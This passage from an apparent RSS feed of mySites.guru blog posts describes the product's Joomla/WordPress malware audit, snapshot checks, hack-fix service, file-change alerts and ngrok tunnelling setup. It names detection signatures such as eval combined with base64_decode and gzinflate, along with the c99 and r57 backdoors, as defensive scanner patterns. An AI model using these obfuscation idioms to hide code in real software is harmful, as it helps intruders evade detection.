&lt;p&gt;Most &quot;scanners&quot; check the rendered output of your site - what a browser sees. The mySites.guru audit checks the actual files on disk. That includes files not used in rendering at all: dormant backdoors can sit in a webspace for years before a hacker returns to use them. Hackers also use dot-prefixed filenames because most file managers hide them by default - &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden files are a blind spot that deserves its own audit&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Suspect content matching&lt;/h2&gt;
&lt;p&gt;The audit has two main detection methods:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Regex patterns&lt;/strong&gt; - 1,500+ patterns built from hacks seen on real Joomla and WordPress sites, including recent and mutated variants. A match labels the file as &quot;suspect&quot;. There will be false positives by design.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Whole-file hash matching&lt;/strong&gt; - a full md5 match against confirmed backdoor hashes marks the file as definitively [HACKED], shown with a red label. These are typically backdoor files we&apos;ve seen before on other sites.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For a practical guide to reading and triaging these results, see &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;Suspect Content vs Hacked Files: Which Flags Actually Matter in mySites.guru&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Complete file matching with MD5 hashes&lt;/h2&gt;
&lt;p&gt;When we find a backdoor (c99, r57, or any confirmed hacked file), we store the md5 hash of the entire file. On the next audit of any site connected to mySites.guru, we check for that hash. A match gets a red [HACKED FILE] flag in the audit results.&lt;/p&gt;
&lt;p&gt;There are no false positives here. A hash match is a confirmed hacked file.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;1,500+ regex patterns&lt;/h2&gt;
&lt;p&gt;The second detection layer uses regex: roughly 1,500 patterns built up over a decade, updated daily. They catch common malware signatures like &lt;code&gt;eval()&lt;/code&gt; combined with &lt;code&gt;base64_decode&lt;/code&gt; and &lt;code&gt;gzinflate&lt;/code&gt;, plus dozens of other patterns.&lt;/p&gt;
&lt;p&gt;Regex patterns also find partial hacks - where malicious code has been injected into an otherwise legitimate file, rather than the whole file being a backdoor.&lt;/p&gt;
&lt;p&gt;Not every match is a hack, and that&apos;s intentional. PHP is used by both legitimate code and by attackers, so some patterns overlap. We work to keep the false positive rate low, but the tool is deliberately inclusive. The result: instead of combing through 20,000 files yourself, you review a handful that the audit flagged.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Just a small number of regex patterns we match on&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Reducing your time looking for hacks&lt;/h2&gt;
&lt;p&gt;The average site across the 63,000 connected to mySites.guru has 19,882 files. The audit narrows that down to a short list worth checking, with a built-in interface to view the exact flagged lines - no FTP client needed.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Click any file name to preview the suspect section, along with the file&apos;s modification date, size, and permissions. You can edit the file directly in mySites.guru and save it back to the server, or delete the whole file with a single click.&lt;/p&gt;
&lt;h2&gt;Crowd-sourced data model&lt;/h2&gt;
&lt;p&gt;After every audit, anonymous data on suspect files goes into a review queue. After manual validation, new patterns and hashes are added to the detection model. This means a hack found on one connected site gets added to the checks run on every other site on the next audit.&lt;/p&gt;
&lt;p&gt;It also lets us track waves of infection and detect new and mutated variants earlier.&lt;/p&gt;
&lt;h2&gt;Detection improves daily&lt;/h2&gt;
&lt;p&gt;We run over 3000 audits per day, which keeps the detection model current. We find over 200 hacked sites a week. When the &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid Framework vulnerability&lt;/a&gt; was exploited in early March 2026, for example, the suspect content scanner was already flagging the BLPayload backdoor plugins and hacklink cache files across affected sites. The same pattern played out in June 2026 with &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;the JCE profiles attack we found in the wild&lt;/a&gt;, where an old editor version let an attacker import a rogue profile and drop webshells: the scanner surfaced the same hidden &lt;code&gt;.xml.php&lt;/code&gt; backdoors that a browser-level scan would never see.&lt;/p&gt;
&lt;h2&gt;What about false positives?&lt;/h2&gt;
&lt;p&gt;Not everything that matches our patterns is a hack. This is by design. PHP is used by both legitimate code and by attackers, so some patterns overlap. We keep the false positive rate as low as we can, but we deliberately err on the side of showing you more rather than less. Host-side scanners hit the same wall, except without a human to check the result: &lt;a href=&quot;https://mysites.guru/blog/ovh-flagged-our-plugin-as-malware/&quot;&gt;OVH flagged a legitimate backup file of ours as malware&lt;/a&gt; and blocked whole hosting plans over it.&lt;/p&gt;
&lt;h2&gt;Can I whitelist files or folders?&lt;/h2&gt;
&lt;p&gt;No. Whitelisting is not permitted.&lt;/p&gt;
&lt;p&gt;You will get false positives, and that’s expected. When pattern matching isn’t enough to make a call, you can &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;ask me to take a look&lt;/a&gt;, or use the &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI malware analysis tool&lt;/a&gt; to triage suspect files in seconds.&lt;/p&gt;
&lt;p&gt;We removed whitelisting after a user whitelisted everything, missed a genuine hack, and sued us. After legal fees we were £14,000 out of pocket. The crowd-sourced data model also means user-supplied whitelists degrade the detection quality for everyone else. I’m the only one who whitelists anything now, and I do it rarely.&lt;/p&gt;
&lt;h2&gt;Comparison to external scanners&lt;/h2&gt;
&lt;p&gt;Most services that claim to have an “audit” tool have implemented the &lt;a href=&quot;https://sitecheck.sucuri.net/&quot;&gt;Sucuri SiteCheck API&lt;/a&gt;, which scans your site as a visiting browser would. It doesn’t check the files in your webspace and won’t find anything hidden below the rendered output. Not all “audits” are equal.&lt;/p&gt;
&lt;h2&gt;Current limitations&lt;/h2&gt;
&lt;p&gt;We don&apos;t currently scan database tables for malware, which means we can miss WordPress SQL-injected posts. That&apos;s on the roadmap.&lt;/p&gt;
&lt;h2&gt;Out of your depth? Need help?&lt;/h2&gt;
&lt;p&gt;If the audit finds your site is hacked and you&apos;d rather not deal with it yourself, you can hand it over at &lt;strong&gt;&lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt;&lt;/strong&gt; for a set-fee hack fix.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Read more in our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;complete agency security guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>hack detection</category><category>joomla</category><category>wordpress</category><category>audit tools</category><enclosure url="https://mysites.guru/_astro/19.DeHRsIdv.webp" length="0" type="image/webp"/></item><item><title>Quick Snapshot of All Your Sites</title><link>https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/</guid><description>The mySites.guru snapshot runs 140+ best-practice checks - PHP version, CMS config, security headers, SSL and more - twice a day on every connected site.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The mySites.guru &lt;strong&gt;snapshot&lt;/strong&gt; runs automatically twice a day - or on demand - across every site in your account. Over 140 data points, collected in seconds. PHP version, CMS config, user accounts, security headers, the lot.&lt;/p&gt;
&lt;p&gt;It&apos;s not a photo of your site. It&apos;s a fast check of what&apos;s configured properly and what isn&apos;t.&lt;/p&gt;
&lt;h2&gt;What exactly is the mySites.guru snapshot?&lt;/h2&gt;
&lt;p&gt;Within mySites.guru, where you can add &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;unlimited Joomla and WordPress sites&lt;/a&gt; to your account, you&apos;ll see two main areas of checks on the Manage Site page: the &lt;strong&gt;Snapshot&lt;/strong&gt; and the &lt;strong&gt;Audit&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The snapshot checks complete within milliseconds. The &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;audit&lt;/a&gt; goes deeper - inspecting every line of code in every file on your webspace - so it takes longer.&lt;/p&gt;
&lt;p&gt;Both give you a long list of best-practice checks and flag the things that need attention.&lt;/p&gt;
&lt;p&gt;The snapshot covers your platform (Joomla/WordPress) configuration, writing settings, discussion settings, user accounts and access, plugins and extensions, file information, &lt;a href=&quot;https://mysites.guru/blog/how-to-check-joomla-database-security/&quot;&gt;database integrity&lt;/a&gt;, and hosting environment.&lt;/p&gt;
&lt;p&gt;Each check displays the current status on your site, the trend (whether it&apos;s changed, increased, or decreased), a &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;Learn More&lt;/a&gt; button, and either a quick toggle or a link to the investigation page where you can dig into the reported issue and fix it.&lt;/p&gt;
&lt;div&gt;
  
  &lt;p&gt;The screenshots below are from an older version of the interface. We&apos;ve since redesigned the dashboard, but the process works the same way.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Can You Resolve Problems with a Single Click?&lt;/h2&gt;
&lt;p&gt;Some of the Discussion Settings checks for WordPress:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;On the right you can see that these checks can be resolved with a toggle switch - a single click and your site is following best practice again.&lt;/p&gt;
&lt;h2&gt;How Often Does the Snapshot Run?&lt;/h2&gt;
&lt;p&gt;Once a site is connected to mySites.guru, the snapshot data refreshes automatically twice a day. Hit &quot;Take a new snapshot&quot; any time you want fresh data.&lt;/p&gt;
&lt;h3&gt;A huge number of checks&lt;/h3&gt;
&lt;p&gt;We check everything we consider best practice for secure and well-configured websites. You might not agree with every recommendation, and that&apos;s fine.&lt;/p&gt;
&lt;p&gt;One section of the Joomla snapshot:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;And the full page view (if you have good eyesight):&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;That&apos;s just some of the snapshot checks.&lt;/p&gt;
&lt;h2&gt;What Other Features Does the Snapshot Power?&lt;/h2&gt;
&lt;p&gt;At the end of each snapshot, mySites.guru gathers a list of your extensions, plugins, templates, and themes, then checks each one for available updates. This data feeds into tools like the &lt;a href=&quot;https://mysites.guru/blog/how-to-compare-joomla-templates-across-sites/&quot;&gt;Active Theme and Template List&lt;/a&gt;, which lets you see and compare every site&apos;s template across your entire portfolio.&lt;/p&gt;
&lt;p&gt;Depending on your settings, you can enable &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;automatic updates&lt;/a&gt; for these - but that&apos;s a topic for another post.&lt;/p&gt;
&lt;p&gt;The snapshot also captures your site version, PHP version, and other environment details that feed into the dashboard overview. For Joomla 5 and 6 sites, it checks for &lt;a href=&quot;https://mysites.guru/blog/detect-locked-joomla-scheduled-tasks/&quot;&gt;locked scheduled tasks&lt;/a&gt; that can silently break background jobs like update notifications and backups.&lt;/p&gt;
&lt;h2&gt;Can the Snapshot Identify Hacks?&lt;/h2&gt;
&lt;p&gt;The snapshot isn&apos;t designed to find hacks - that&apos;s the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;security audit&apos;s&lt;/a&gt; job. But it does catch things. We push new checks frequently, and when we spot attack trends, we add checks for those too.&lt;/p&gt;
&lt;p&gt;For example, there was a specific attack that created usernames matching the pattern &lt;code&gt;Joomla.user.helper.XXXX&lt;/code&gt;. You probably wouldn&apos;t notice one suspicious username among thousands of users - but the mySites.guru snapshot would, flagging it for you to investigate.&lt;/p&gt;
&lt;p&gt;For a broader look at the security checks behind the snapshot, see the &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;WordPress and Joomla security guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>snapshot</category><category>best practice</category><category>security</category><category>wordpress</category><category>joomla</category><enclosure url="https://mysites.guru/_astro/snapshot.DCen-XLF.webp" length="0" type="image/webp"/></item><item><title>Get Expert Help for Your Sites Instantly</title><link>https://mysites.guru/blog/get-expert-help-for-your-joomla-and-wordpress-problems-immediately/</link><guid isPermaLink="true">https://mysites.guru/blog/get-expert-help-for-your-joomla-and-wordpress-problems-immediately/</guid><description>mySites.guru subscribers get direct access to Phil Taylor for fast expert help with any Joomla or WordPress problem - set fees, no ticket queues.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Got a WordPress or Joomla problem and need expert help today? Phil Taylor is available for hire with set fees over at &lt;a href=&quot;https://fix.mySites.guru/&quot;&gt;fix.mySites.guru&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Phil is the developer behind mySites.guru and a long-term contributor to WordPress, Joomla, and Symfony - some of the biggest open source projects around.&lt;/p&gt;
&lt;h2&gt;Is your site broken? Hacked?&lt;/h2&gt;
&lt;p&gt;Get immediate help to fix your Joomla or WordPress site today. &lt;a href=&quot;https://www.phil-taylor.com/&quot;&gt;Phil Taylor&lt;/a&gt;, founder of &lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt;, charges &lt;strong&gt;set fees&lt;/strong&gt; to fix sites - not hourly rates.&lt;/p&gt;
&lt;h2&gt;What Is Included?&lt;/h2&gt;
&lt;p&gt;A typical fix request covers one or more of the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Fix of your &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;hacked site&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Upgrade to the latest version if needed&lt;/li&gt;
&lt;li&gt;Debug and fix PHP error messages&lt;/li&gt;
&lt;li&gt;Debug and fix White Screen of Death&lt;/li&gt;
&lt;li&gt;Debug and fix a specific issue you describe&lt;/li&gt;
&lt;li&gt;Investigation of a web hosting issue, with report&lt;/li&gt;
&lt;li&gt;Fixing PHP configuration and settings&lt;/li&gt;
&lt;li&gt;Debugging error messages and site crashes&lt;/li&gt;
&lt;li&gt;Advice and consultancy on the issue&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Set fee charged&lt;/strong&gt; - not per hour. Most smaller issues are a one-time set fee of GBP 120.&lt;/p&gt;
&lt;p&gt;Non-subscribers get a &lt;strong&gt;free month of mySites.guru&lt;/strong&gt; included with every fix. All results are explained in plain English, and your credentials are encrypted and timeboxed.&lt;/p&gt;
&lt;p&gt;Same-day resolution on average.&lt;/p&gt;
&lt;h2&gt;What Don&apos;t We Do?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Ongoing project work&lt;/li&gt;
&lt;li&gt;Website builds from scratch&lt;/li&gt;
&lt;li&gt;Plugin or extension development&lt;/li&gt;
&lt;li&gt;Template design (contact &lt;a href=&quot;https://www.stormcreativedesign.co.uk/&quot;&gt;Lee Tempest&lt;/a&gt; for that)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Who Is Phil Taylor?&lt;/h2&gt;
&lt;p&gt;The person behind this service is &lt;a href=&quot;https://www.phil-taylor.com/&quot;&gt;Phil E. Taylor&lt;/a&gt;, founder of mySites.guru and long-term contributor to the &lt;a href=&quot;https://joomla.org/&quot;&gt;Joomla project&lt;/a&gt;, &lt;a href=&quot;https://wordpress.org/&quot;&gt;WordPress&lt;/a&gt;, and &lt;a href=&quot;https://symfony.com/&quot;&gt;Symfony&lt;/a&gt;. Phil&apos;s strongest skill is debugging - getting to the root of a problem. Once the root issue is identified, the fix is normally straightforward. That experience is why he can offer a set fee rather than open-ended hourly billing.&lt;/p&gt;
&lt;p&gt;When your team has hit the limit of what they can figure out - after several days of head-scratching or when people are out of their depth - that&apos;s when to get in touch. Submit a request through the &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;secure work request form&lt;/a&gt; and Phil can get started the same day.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>support</category><category>joomla</category><category>wordpress</category><category>troubleshooting</category><enclosure url="https://mysites.guru/_astro/fix-1024x576.B-3IEN_l.webp" length="0" type="image/webp"/></item><item><title>Real-Time Alerts for File Changes &amp; Logins</title><link>https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/</guid><description>Get real-time email alerts when files change, admins log in, or SSL certificates near expiry across all your Joomla and WordPress sites with mySites.guru.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;mySites.guru is more than a suite of tools for &lt;a href=&quot;https://mysites.guru/&quot;&gt;managing multiple WordPress sites&lt;/a&gt;. Used by over &lt;a href=&quot;https://mysites.guru/blog/&quot;&gt;74,000 Joomla and WordPress sites&lt;/a&gt;, it also sends you real-time alerts when something happens on your sites - an admin login, a config change, a file that shouldn&apos;t have been touched.&lt;/p&gt;
&lt;h2&gt;Real-time alerting triggers&lt;/h2&gt;
&lt;p&gt;Your site notifies mySites.guru based on the preferences you configure: someone logging into the admin console, saving Global Configuration, or other triggers you care about.&lt;/p&gt;
&lt;p&gt;We&apos;re always looking to add more triggers - if you have ideas, &lt;a href=&quot;https://manage.mysites.guru/en/help/contact&quot;&gt;let us know&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;The available real-time triggers for Joomla and WordPress sites&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Near real-time file monitoring&lt;/h2&gt;
&lt;p&gt;You can opt in to have specific files monitored on your site. When a monitored file is modified, your site informs mySites.guru and you get an alert.&lt;/p&gt;
&lt;p&gt;This is &quot;near real-time&quot; because the check runs on every page load. If someone edits a file through the Joomla or WordPress admin, the alert fires immediately - the page request that saves the change is also the page request that detects it. The only time there&apos;s a delay is if someone modifies a file over FTP and nobody visits the site for a while. Same idea as WordPress&apos;s web-cron.&lt;/p&gt;
&lt;p&gt;You can add unlimited files to the watch list, but in practice a short list of important files is enough - your configuration file, template files, and other files hackers tend to target. Not sure which files to monitor? Start by understanding &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;what hidden files are already in your webspace&lt;/a&gt; - some of them may surprise you.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;How the MD5 hash check works (the .myjoomla.configuration.php.md5 file)&lt;/h3&gt;
&lt;p&gt;If you&apos;ve looked at your Joomla site&apos;s file system and found a file called &lt;code&gt;.myjoomla.configuration.php.md5&lt;/code&gt;, that&apos;s the mySites.guru plugin doing its job. This is what it does. (For a focused walkthrough aimed at anyone who just stumbled on this file, see &lt;a href=&quot;https://mysites.guru/blog/myjoomla-configuration-php-md5-files/&quot;&gt;what the .myjoomla.configuration.php.md5 files are&lt;/a&gt;.)&lt;/p&gt;
&lt;p&gt;When you enable real-time file monitoring for &lt;code&gt;configuration.php&lt;/code&gt; (or any other file), the mySites.guru plugin calculates the MD5 hash of that file and writes it to a companion file. For &lt;code&gt;configuration.php&lt;/code&gt;, the companion file is &lt;code&gt;.myjoomla.configuration.php.md5&lt;/code&gt;. It contains nothing but the 32-character MD5 hash string of the file contents at the time it was last checked.&lt;/p&gt;
&lt;p&gt;On every single page load - front-end or back-end, any visitor, any page - the plugin recalculates the MD5 hash of &lt;code&gt;configuration.php&lt;/code&gt; and compares it to the hash stored in &lt;code&gt;.myjoomla.configuration.php.md5&lt;/code&gt;. Two outcomes:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hashes match:&lt;/strong&gt; The file hasn&apos;t changed. Nothing happens. The check adds negligible overhead - calculating an MD5 of a small config file takes microseconds.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hashes don&apos;t match:&lt;/strong&gt; The file has been modified since the last check. The plugin immediately sends a notification to mySites.guru, which fires an email alert to you (and any &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;team members&lt;/a&gt; who have alerts enabled for that site). The plugin then updates &lt;code&gt;.myjoomla.configuration.php.md5&lt;/code&gt; with the new hash, so the next page load won&apos;t trigger a duplicate alert for the same change.&lt;/p&gt;
&lt;p&gt;This works the same way for every file you add to the watch list. If you monitor &lt;code&gt;index.php&lt;/code&gt;, you&apos;ll get a &lt;code&gt;.myjoomla.index.php.md5&lt;/code&gt; file. Monitor &lt;code&gt;wp-config.php&lt;/code&gt; on a WordPress site and you&apos;ll get the equivalent companion hash file from the mySites.guru WordPress plugin.&lt;/p&gt;
&lt;h3&gt;Why configuration.php matters&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;configuration.php&lt;/code&gt; is one of the most important files on a Joomla site. It contains your database credentials, secret keys, error reporting settings, cache configuration, and tmp/log paths. If a hacker modifies this file, they can redirect your database connection, disable error reporting to hide their tracks, or change your tmp path to a location they control.&lt;/p&gt;
&lt;p&gt;Getting an alert the instant &lt;code&gt;configuration.php&lt;/code&gt; changes means you know about it before the hacker has time to do anything else. You don&apos;t need to wait for a scheduled scan or manually check your files - the next page load catches it.&lt;/p&gt;
&lt;h3&gt;Is it safe to delete .myjoomla.configuration.php.md5?&lt;/h3&gt;
&lt;p&gt;Yes, deleting it won&apos;t break your site. But the mySites.guru plugin will recreate it on the next page load and treat the file as if it&apos;s being monitored for the first time. You won&apos;t get a false alert - it simply recalculates the hash and stores it fresh. If you want to stop monitoring a file entirely, remove it from the watch list in your mySites.guru dashboard instead of deleting the hash file on disk.&lt;/p&gt;
&lt;h2&gt;Can You Whitelist Your Own IP?&lt;/h2&gt;
&lt;p&gt;You can whitelist IP addresses so your own changes don&apos;t trigger false alarms. The same principle applies to uptime monitoring - &lt;a href=&quot;https://mysites.guru/blog/uptime-monitoring-explained/&quot;&gt;whitelisting our monitoring IP&lt;/a&gt; prevents your server&apos;s firewall from blocking the uptime checks.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;SSL expiration alerting&lt;/h2&gt;
&lt;p&gt;mySites.guru has included SSL certificate expiration alerts since 2012. If your &lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;SSL certificate is approaching expiration&lt;/a&gt;, you&apos;ll get an alert based on your preferences. You can also set the number of grace days before the alert fires.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Send alerts to multiple people with team members&lt;/h2&gt;
&lt;p&gt;If you want alerts to go to more than one person, add &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;team members&lt;/a&gt; to your account. Each team member can set their own notification preferences per site. You can also &lt;a href=&quot;https://mysites.guru/blog/how-to-impersonate-your-mysites-guru-team-members/&quot;&gt;impersonate team members&lt;/a&gt; and configure their preferences on their behalf.&lt;/p&gt;
&lt;p&gt;One exception: the &lt;a href=&quot;https://mysites.guru/blog/accountant-portal-invoice-access/&quot;&gt;Accountant Portal&lt;/a&gt; role is excluded from these alerts by default. Accountants only receive billing emails, not operational noise.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Alerting is one piece of what mySites.guru does - check the full &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;feature list&lt;/a&gt;, or run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free security audit&lt;/a&gt; on one of your sites to see it in action.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Real-time alerting is a core feature in our &lt;a href=&quot;https://mysites.guru/guides/site-monitoring-alerting-guide/&quot;&gt;monitoring and alerting guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>alerts</category><category>monitoring</category><category>security</category><category>file changes</category><enclosure url="https://mysites.guru/_astro/Homepage-sized-2.DzCYnbbV.webp" length="0" type="image/webp"/></item><item><title>Audit local sites or sites behind firewalls with mySites.guru</title><link>https://mysites.guru/blog/how-to-audit-your-local-sites-with-mysites-guru-or-behind-firewalls/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-audit-your-local-sites-with-mysites-guru-or-behind-firewalls/</guid><description>How to connect local development sites or sites behind corporate firewalls to mySites.guru using tunnelling tools like Ngrok, Expose, and Cloudflare Tunnel.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;mySites.guru works with any site it can reach over the internet. That normally means live production sites, but with a tunnelling tool you can also connect local development sites, staging environments, or sites behind corporate firewalls and NATs.&lt;/p&gt;
&lt;p&gt;Below we&apos;ll use &lt;a href=&quot;https://ngrok.com&quot;&gt;Ngrok&lt;/a&gt;, but &lt;a href=&quot;https://expose.dev&quot;&gt;Expose&lt;/a&gt; and &lt;a href=&quot;https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/&quot;&gt;Cloudflare Tunnel&lt;/a&gt; work the same way.&lt;/p&gt;
&lt;h2&gt;Why would you want to do this?&lt;/h2&gt;
&lt;p&gt;A few common scenarios:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You&apos;re building a site locally and want to run a &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; before it goes live&lt;/li&gt;
&lt;li&gt;You&apos;re &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;cleaning up a hacked site&lt;/a&gt; locally and want to verify the hack is fully removed before pushing it back to production&lt;/li&gt;
&lt;li&gt;You need to audit an intranet or server behind a corporate firewall that isn&apos;t normally accessible from the internet&lt;/li&gt;
&lt;li&gt;You want to test &lt;a href=&quot;https://mysites.guru/blog/uptime-monitoring-explained/&quot;&gt;uptime monitoring&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time alerts&lt;/a&gt; against a staging environment&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;How Does Tunnelling Work?&lt;/h2&gt;
&lt;p&gt;Tunnelling tools create a secure connection between your local machine and a public URL. When mySites.guru connects to that URL, the traffic is routed through the tunnel back to your local web server. From mySites.guru&apos;s perspective, it looks like any other live website.&lt;/p&gt;
&lt;p&gt;Most tunnelling tools also provide a valid SSL certificate automatically, so even if your local site runs on plain HTTP, the public URL will be HTTPS.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;⚠️ Your site becomes publicly accessible&lt;/p&gt;
  &lt;p&gt;While the tunnel is running, anyone with the URL can access your local site. The tunnel closes the moment you stop the tool. If this concerns you, paid plans on most tools let you restrict access by IP address - you can limit it to &lt;a href=&quot;https://manage.mysites.guru/public/ips&quot;&gt;mySites.guru&apos;s IP addresses&lt;/a&gt; only.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How Do You Set Up with Ngrok?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://ngrok.com&quot;&gt;Ngrok&lt;/a&gt; is the most widely used tunnelling tool. It has free and paid tiers.&lt;/p&gt;
&lt;h3&gt;1. Install and authenticate&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://ngrok.com/download&quot;&gt;Download Ngrok&lt;/a&gt; for your operating system and install it. Then authenticate with your account token:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ngrok authtoken &amp;lt;YOUR_AUTH_TOKEN&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You&apos;ll find your auth token on the &lt;a href=&quot;https://dashboard.ngrok.com/get-started/setup&quot;&gt;Ngrok dashboard&lt;/a&gt; after signing up.&lt;/p&gt;
&lt;h3&gt;2. Start a tunnel&lt;/h3&gt;
&lt;p&gt;If your local site runs on port 80:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ngrok http 80
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If it runs on a different port (e.g. 8080):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ngrok http 8080
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If your local site uses a hostname like &lt;code&gt;https://myhackedsite.local:8081&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ngrok http https://myhackedsite.local:8081
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You&apos;ll see output like this:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;The HTTPS URL shown (e.g. &lt;code&gt;https://c8b94007b63b.ngrok.io&lt;/code&gt;) is what you&apos;ll give to mySites.guru.&lt;/p&gt;
&lt;h3&gt;3. Connect to mySites.guru&lt;/h3&gt;
&lt;p&gt;Take the HTTPS URL from Ngrok and &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;add it as a site&lt;/a&gt; in your mySites.guru account, just like you would any live site.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;ℹ️ Subscription requirement&lt;/p&gt;
